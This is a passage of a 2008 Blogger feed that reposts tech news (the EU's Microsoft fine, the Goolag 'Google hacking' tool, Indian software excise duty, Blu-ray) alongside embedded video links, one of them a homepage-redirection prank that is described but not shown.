fees&lt;br /&gt;haven't made much of a dent at Google so far.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3093871985660997402?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3093871985660997402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3093871985660997402' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3093871985660997402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3093871985660997402'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/google-unveils-tools-to-set-up-web.html' title='Google Unveils Tools to Set Up Web Sites'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-153809329978212683</id><published>2008-03-01T07:49:00.001-08:00</published><updated>2008-03-01T07:50:34.643-08:00</updated><title type='text'>EU Fines Microsoft $1.3 Billion</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;The European Union's longest-running fight with Microsoft Corp. neared&lt;br/&gt;an end Wednesday as regulators imposed a record $1.3 billion fine on&lt;br/&gt;the world's largest software company for failing to fully comply with a&lt;br/&gt;2004 antitrust order.&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;Microsoft has not decided whether to appeal the penalty, which amounts&lt;br/&gt;to a fraction of the $14.07 billion it earned in fiscal 2007. In all,&lt;br/&gt;the company has been fined just under $2.4 billion by European&lt;br/&gt;antitrust regulators over the years.&lt;br/&gt; &lt;br/&gt; Barring an appeal, the&lt;br/&gt;fine shuts the door on an investigation into Microsoft's behavior that&lt;br/&gt;was triggered by a 1998 complaint by Sun Microsystems Inc. It alleged&lt;br/&gt;Microsoft was refusing to supply information that servers need to work&lt;br/&gt;with its market-dominating Windows operating system.&lt;br/&gt; &lt;br/&gt; Microsoft&lt;br/&gt;eventually made the information available to rivals, but the EU said it&lt;br/&gt;charged "unreasonable prices" until last October.&lt;br/&gt; &lt;br/&gt; EU&lt;br/&gt;Competition Commissioner Neelie Kroes said Microsoft now appears to&lt;br/&gt;have finally complied with the 2004 EU antitrust order. But she warned&lt;br/&gt;that the company was not yet in the clear because the EU last month&lt;br/&gt;launched new probes into its Office software and Windows' Internet&lt;br/&gt;browser.&lt;br/&gt; &lt;br/&gt; The fine was handed down as Microsoft pursues its&lt;br/&gt;biggest acquisition to date, but Matt Rosoff, an analyst at the&lt;br/&gt;research group Directions on Microsoft, said it would have no effect on&lt;br/&gt;the software maker's bid for Web portal operator Yahoo Inc.&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;"This is a fine for past behavior," said Rosoff, unrelated to&lt;br/&gt;Microsoft's offer for Yahoo, which was valued at $44.6 billion in early&lt;br/&gt;February.&lt;br/&gt; &lt;br/&gt; Kroes also was skeptical over Microsoft's&lt;br/&gt;announcement last week that it was further expanding its efforts to&lt;br/&gt;make its software work better with rival technologies. A news release,&lt;br/&gt;she said, "does not necessarily equal a change in business practice."&lt;br/&gt; &lt;br/&gt; "Talk is cheap. Flouting the rules is expensive," she said.&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;Wednesday's penalty far outweighs the next biggest fine - $613 million&lt;br/&gt;imposed on Microsoft for using its role as the world's leading supplier&lt;br/&gt;of desktop software to elbow into new markets for workgroup servers and&lt;br/&gt;media players.&lt;br/&gt; &lt;br/&gt; Fines - which can hit as much as 10 percent of&lt;br/&gt;company's global yearly revenue - are paid into the EU budget which&lt;br/&gt;pays out farm subsidies and research grants. The European Commission&lt;br/&gt;claims antitrust fines ultimately help reduce the financial burden on&lt;br/&gt;European taxpayers.&lt;br/&gt;&lt;br/&gt; Microsoft earned $14.07 billion on $51.12 billion in worldwide sales during its last fiscal year that ended June 30.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;"We could have gone as high as 1.5 billion euros," Kroes said,&lt;br /&gt;referring to an amount equal to about $2.2 billion. "The maximum amount&lt;br /&gt;is higher than what we did at the end of the day. Microsoft's actions&lt;br /&gt;stifled innovation, hurting millions of people who use computers in&lt;br /&gt;offices around the world, she said, calling the fine "a reasonable&lt;br /&gt;response to a series of quite unreasonable actions."&lt;br/&gt; &lt;br/&gt; The&lt;br /&gt;software titan fought hard against the EU's 2004 decision that ordered&lt;br /&gt;it to share interoperability information with rivals and sell a version&lt;br /&gt;of Windows without media software, taking an appeal to an EU court that&lt;br /&gt;it lost last September.&lt;br/&gt; &lt;br/&gt; It was fined again in July 2006 - $357 million - for failing to obey that order.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;The EU alleged that Microsoft withheld crucial interoperability&lt;br /&gt;information to squeeze into a new market and damage rivals that make&lt;br /&gt;programs for workgroup servers that help office computers connect to&lt;br /&gt;each other and to printers and faxes.&lt;br/&gt; &lt;br/&gt; The company delayed&lt;br /&gt;complying with the EU order for three years, the EU said, only making&lt;br /&gt;changes on Oct. 22 to the patent licenses it charges companies that&lt;br /&gt;need data to help them make software that works with Microsoft.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;Microsoft had initially set a royalty rate of 3.87 percent of a&lt;br /&gt;licensee's product revenues for patents and demanded that companies&lt;br /&gt;looking for communication information - which it said was highly secret&lt;br /&gt;- pay 2.98 percent of their products' revenues.&lt;br/&gt; &lt;br/&gt; The EU&lt;br /&gt;complained last March that these rates were unfair. Under threat of&lt;br /&gt;fines, Microsoft two months later reduced the patent rate to 0.7&lt;br /&gt;percent and the information license to 0.5 percent - but only in&lt;br /&gt;Europe, leaving the worldwide rates unchanged.&lt;br/&gt; &lt;br/&gt; The EU's Court&lt;br /&gt;of First Instance ruling that upheld regulators' views changed the&lt;br /&gt;company's mind again in October when it offered a new license for&lt;br /&gt;interoperability information for a flat fee of $14,900 and an optional&lt;br /&gt;worldwide patent license for a reduced royalty of 0.4 percent.&lt;br/&gt; &lt;br/&gt; Even as the EU moves on to new complaints, Microsoft's 1990s business practices remain the subject of oversight in the U.S.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;In January, a federal judge extended a consent decree enforcing the&lt;br /&gt;2002 antitrust settlement reached among Microsoft, the U.S. government&lt;br /&gt;and 17 states by two years. The settlement barred Microsoft from&lt;br /&gt;seeking deals with computer makers to exclude competing software and&lt;br /&gt;aimed to keep it from using its operating system monopoly to stifle&lt;br /&gt;competition in other products.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-153809329978212683?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/153809329978212683/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=153809329978212683' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/153809329978212683'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/153809329978212683'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/eu-fines-microsoft-13-billion.html' title='EU Fines Microsoft $1.3 Billion'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6725168382545593598</id><published>2008-03-01T07:48:00.001-08:00</published><updated>2008-03-01T07:48:35.952-08:00</updated><title type='text'>Use of Google for Data Triggers Fears</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;It's called "Google hacking" - a slick data-mining technique used by&lt;br /&gt;the Internet's cops and crooks alike to unearth sensitive material&lt;br /&gt;mistakenly posted to public Web sites.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;And it's just gotten easier, thanks to a program that automates what&lt;br /&gt;has typically been painstaking manual labor. The program's authors say&lt;br /&gt;they hope it will "screw a large Internet search engine and make the&lt;br /&gt;Web a safer place."&lt;br/&gt; &lt;br/&gt; Google hacking doesn't mean anyone's&lt;br /&gt;hacking Google's Web site. Rather, it refers to a sophisticated&lt;br /&gt;searching technique used to uncover flaws in the way Web sites handle&lt;br /&gt;confidential details, such as public files containing password and&lt;br /&gt;credit card numbers and clues about the vulnerability of the site's own&lt;br /&gt;servers.&lt;br/&gt; &lt;br/&gt; It works by examining the hidden recesses of a Web&lt;br /&gt;site, areas that have been indexed by Google but don't pop up in&lt;br /&gt;traditional searches. Sometimes Web sites accidentally post revealing&lt;br /&gt;information about themselves, either because employees mistakenly put&lt;br /&gt;confidential documents online, or the site wasn't properly configured&lt;br /&gt;to obscure sensitive areas.&lt;br/&gt; &lt;br/&gt; Security experts say Google hacking wouldn't be an issue if Web sites had proper security safeguards in place.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;By looking through Google for evidence of specific types of files used&lt;br /&gt;by a Web site or telling responses from the Web site's servers, hackers&lt;br /&gt;can learn a lot about how the site was built - and thus how to begin&lt;br /&gt;crafting their attacks.&lt;br/&gt; &lt;br/&gt; Although Google hacking has been used&lt;br /&gt;for several years by good guys and bad guys to monitor security,&lt;br /&gt;experts caution that the new program, called Goolag, could tip the&lt;br /&gt;balance in favor of criminals.&lt;br/&gt; &lt;br/&gt; "It just makes their job that&lt;br /&gt;much easier - in a very short period of time they can do all these&lt;br /&gt;searches for sensitive information," said Ryan Barnett, director of&lt;br /&gt;application security at Breach Security Inc. and a SANS Institute&lt;br /&gt;faculty member.&lt;br/&gt; &lt;br/&gt; Google hackers have typically had to enter in&lt;br /&gt;detailed Google search strings by hand, using specially crafted queries&lt;br /&gt;to unearth links buried deep in the list of a site's contents. Google&lt;br /&gt;has been able to clamp down on past attempts to automate the process.&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;Experts say the new program, on the other hand, appears to work&lt;br /&gt;differently, tricking Google into believing a real person is typing the&lt;br /&gt;queries - in other words, someone Google would be unlikely to block.&lt;br/&gt; &lt;br/&gt; Google declined to comment on Goolag, released by the hacker group Cult of the Dead Cow.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6725168382545593598?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6725168382545593598/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6725168382545593598' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6725168382545593598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6725168382545593598'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/use-of-google-for-data-triggers-fears.html' title='Use of Google for Data Triggers Fears'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-4262449101183931775</id><published>2008-03-01T07:47:00.001-08:00</published><updated>2008-03-01T07:47:56.384-08:00</updated><title type='text'>Budget 08: Games To Get Slightly More Expensive?</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;br /&gt;			&lt;br /&gt;			&lt;br /&gt;            	The Finance Minister has thrown a bit of a googly to Indian gamers in his &lt;a target='_blank' href='http://indiabudget.nic.in/ub2008-09/bs/speecha.htm'&gt;2008 Budget Speech&lt;/a&gt;. &lt;br/&gt; &lt;br/&gt; Sample this:&lt;br/&gt; &lt;br/&gt; &lt;em&gt;151.&lt;br /&gt;Similarly, I propose to increase the excise duty on packaged software&lt;br /&gt;from 8 per cent to 12 per cent to bring it on par with customised&lt;br /&gt;software which will attract a service tax of 12 per cent.&lt;/em&gt;&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;Now all games bought off the shelf qualify as "packaged software".&lt;br /&gt;However, excise duty is levied only on locally manufactured products&lt;br /&gt;(as against customs duty which is levied on imported stuff). Thus&lt;br /&gt;locally made titles including most PlayStation 2 games, will be 4% more&lt;br /&gt;expensive. Milestone Interactive (which prints and distributes PS2&lt;br /&gt;games in India) chief, Jayant Sharma told &lt;a href='http://www.tech2.com/'&gt;Tech2.com&lt;/a&gt;&lt;br /&gt;that he would like to look at the fine print but admitted that the hike&lt;br /&gt;would be passed on to consumers since Excise is typically slapped on&lt;br /&gt;the final selling price.&lt;br/&gt; &lt;br/&gt; Gaming industry sources also seem&lt;br /&gt;divided on the definition of what constitutes 'local manufacture' of a&lt;br /&gt;game. For instance EA does the final mastering of many titles locally -&lt;br /&gt;will those prices go up? We'll update you as more industry figures&lt;br /&gt;study the budget and provide us their official positions&lt;br/&gt; &lt;br/&gt; The&lt;br /&gt;notes to the speech define packaged software as "packaged software or&lt;br /&gt;canned software" means a software developed to meet the needs of&lt;br /&gt;variety of users, and which is intended for sale or capable of being&lt;br /&gt;sold, off the shelf.&lt;br/&gt; &lt;br/&gt; Well, by that definition do DVDs and VCDs&lt;br /&gt;also qualify as "software" since they come enabled with menus that can&lt;br /&gt;be manipulated by the user? In the final analysis though, even though&lt;br /&gt;the hike is marginal, this won't do much good for an industry already&lt;br /&gt;swamped by piracy.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-4262449101183931775?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/4262449101183931775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=4262449101183931775' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4262449101183931775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4262449101183931775'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/budget-08-games-to-get-slightly-more.html' title='Budget 08: Games To Get Slightly More Expensive?'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-5884273657208229448</id><published>2008-02-24T04:45:00.000-08:00</published><updated>2008-02-24T04:46:56.599-08:00</updated><title type='text'>Find Ip Address Of Any PC</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/882916/find_ip_address_of_any_pc.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/882916/find_ip_address_of_any_pc/"&gt;Find Ip Address Of Any PC&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;Click here for the most popular videos&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;    with this metod you can find the ip address of any pc (local if they have a router)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-5884273657208229448?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/5884273657208229448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=5884273657208229448' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5884273657208229448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/5884273657208229448'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/find-ip-address-of-any-pc.html' title='Find Ip Address Of Any PC'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-204986415304648964</id><published>2008-02-24T04:40:00.000-08:00</published><updated>2008-02-24T04:41:52.064-08:00</updated><title type='text'>Homepage Redirection Exploit/prank</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/1031206/homepage_redirection_exploit_prank.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/1031206/homepage_redirection_exploit_prank/"&gt;Homepage Redirection Exploit/prank&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;Click here for the most popular videos&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;&lt;span&gt;this makes you able to redirect homepages. for example, you sitt infront of your friends computer and changes hes favourite homepage adress to something evil, or if you&lt;span class="moreTogglerWrapper invisible"&gt;..&lt;/span&gt;&lt;span class="moreText"&gt; are interessted in hacking you can redirect to downloadpages. this movie is made for general purposes only and not ment to harm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-204986415304648964?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/204986415304648964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=204986415304648964' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/204986415304648964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/204986415304648964'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/homepage-redirection-exploitprank.html' title='Homepage Redirection Exploit/prank'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-8698445342449533708</id><published>2008-02-24T04:19:00.000-08:00</published><updated>2008-02-24T04:20:31.256-08:00</updated><title type='text'>Photoshop Match Color (simple And Amazing Results)</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fhttp%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/854726/photoshop_match_color_simple_and_amazing_results.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/854726/photoshop_match_color_simple_and_amazing_results/"&gt;Photoshop Match Color (simple And Amazing Results)&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;Watch more funny videos here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;    This tutorial will show you how to match color between 2 photos or more, so you can make a perfect blend images!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-8698445342449533708?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/8698445342449533708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=8698445342449533708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8698445342449533708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8698445342449533708'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/photoshop-match-color-simple-and.html' title='Photoshop Match Color (simple And Amazing Results)'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-1723694531751513577</id><published>2008-02-24T03:36:00.000-08:00</published><updated>2008-02-24T03:38:09.343-08:00</updated><title type='text'>Can You Create Energy? A Must See Video For All Ages !!!!</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/839353/can_you_create_energy_a_must_see_video_for_all_ages.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/839353/can_you_create_energy_a_must_see_video_for_all_ages/"&gt;Can You Create Energy? A Must See Video For All Ages !!!!&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;A funny movie is a click away&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt;    Can you destroy energy? A simple video that will pleasantly surprise you and your kids !!!! Must watch.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-1723694531751513577?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/1723694531751513577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=1723694531751513577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1723694531751513577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/1723694531751513577'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/can-you-create-energy-must-see-video.html' title='Can You Create Energy? A Must See Video For All Ages !!!!'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-3704572443360911641</id><published>2008-02-24T03:30:00.000-08:00</published><updated>2008-02-24T03:33:13.807-08:00</updated><title type='text'>How To Make Blood Appear In Body Without Any Wound!!</title><content type='html'>&lt;embed flashvars="altServerURL=http%3A%2F%2Fwww.metacafe.com&amp;amp;playerVars=blogName=creativzmind|blogURL=http%3A%2F%2Fcreativzmind.blogspot.com" src="http://www.metacafe.com/fplayer/835982/how_to_make_blood_appear_in_body_without_any_wound.swf" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="345" width="400"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;a href="http://www.metacafe.com/watch/835982/how_to_make_blood_appear_in_body_without_any_wound/#"&gt;How To Make Blood Appear In Body Without Any Wound!!&lt;/a&gt; - &lt;a href="http://www.metacafe.com/"&gt;The funniest movie is here. Find it&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="ItemInfoDesc" class="Desc"&gt; Blood Hack. A perfect halloween trick !! Scare your friends, by making blood appear, without any bruises.Fake blood hack. See for yourself. !!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3704572443360911641?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3704572443360911641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3704572443360911641' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3704572443360911641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3704572443360911641'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/how-to-make-blood-appear-in-body.html' title='How To Make Blood Appear In Body Without Any Wound!!'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6291315354439261221</id><published>2008-02-24T01:47:00.001-08:00</published><updated>2008-02-24T01:47:47.127-08:00</updated><title type='text'>All About Blu-ray</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;The format war is over, and Blu-ray has won. During the war the Sony&lt;br /&gt;camp was referred to as the Boys in Blue, while HD DVD were the Boys in&lt;br /&gt;Red. Slowly and steadily the latter became less and less of a&lt;br /&gt;contender, and then it happened: one of the biggest Reds (Warner) upped&lt;br /&gt;and left. After that HD DVD came crashing down, and the lights finally&lt;br /&gt;went out late last week.&lt;/p&gt;&lt;p&gt;So Blu-ray is our next form of optical&lt;br /&gt;storage, and it will become popular in India soon. Demand has to be&lt;br /&gt;created for the product – and this time let's please not&lt;br /&gt;dilly-dally, we always lag behind when it comes to tech stuff (&lt;em&gt;whiny tone&lt;/em&gt;). We enjoyed some HD content through our PS3, and it looks insane. So it's about time.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Why Blu &lt;/strong&gt;&lt;br/&gt;Before explaining why and how Blu-ray&lt;br /&gt;functions, one must know that an optical disc stores digital info (1s&lt;br /&gt;and 0s) in the form of bumps burnt in on the aluminum layer, in the&lt;br /&gt;form of concentric rings. The laser scans outwards, reflects off these&lt;br /&gt;bumps and flat part sequentially. The reflected rays obviously are&lt;br /&gt;different, and thus an optical sensor records a ‘1’ for&lt;br /&gt;bump and ‘0’ for no bump. (Here 1 means a higher signal&lt;br /&gt;level and not the number 1!). A bitstream is created and sent to the&lt;br /&gt;DAC (digital-analog converter).&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So how does this relate to&lt;br /&gt;Blu-rays having more info? The answer is in the type of laser used, the&lt;br /&gt;numerical aperture of the lens, the distance between bumps (track&lt;br /&gt;pitch), its thickness etc. They are all lessened or increased&lt;br /&gt;accordingly. E.g. while DVDs use a red laser of 635-650nm wavelength to&lt;br /&gt;read information on discs, the amount of data that can be stored and&lt;br /&gt;read is only 4.7 GB for single layer discs. &lt;/p&gt;&lt;p&gt;Back in around&lt;br /&gt;2003, when terrestrial digital broadcasting started, the great minds in&lt;br /&gt;the heads of great companies (now known as the BDA) figured out that&lt;br /&gt;recording about two hours of HD media on to a disc would need 22GB,&lt;br /&gt;something that a DVD cannot provide. Thus Blu-ray discs were born (and&lt;br /&gt;also HD DVD, then known as AOD).&lt;/p&gt;&lt;div align='center'&gt;&lt;a target='_blank' 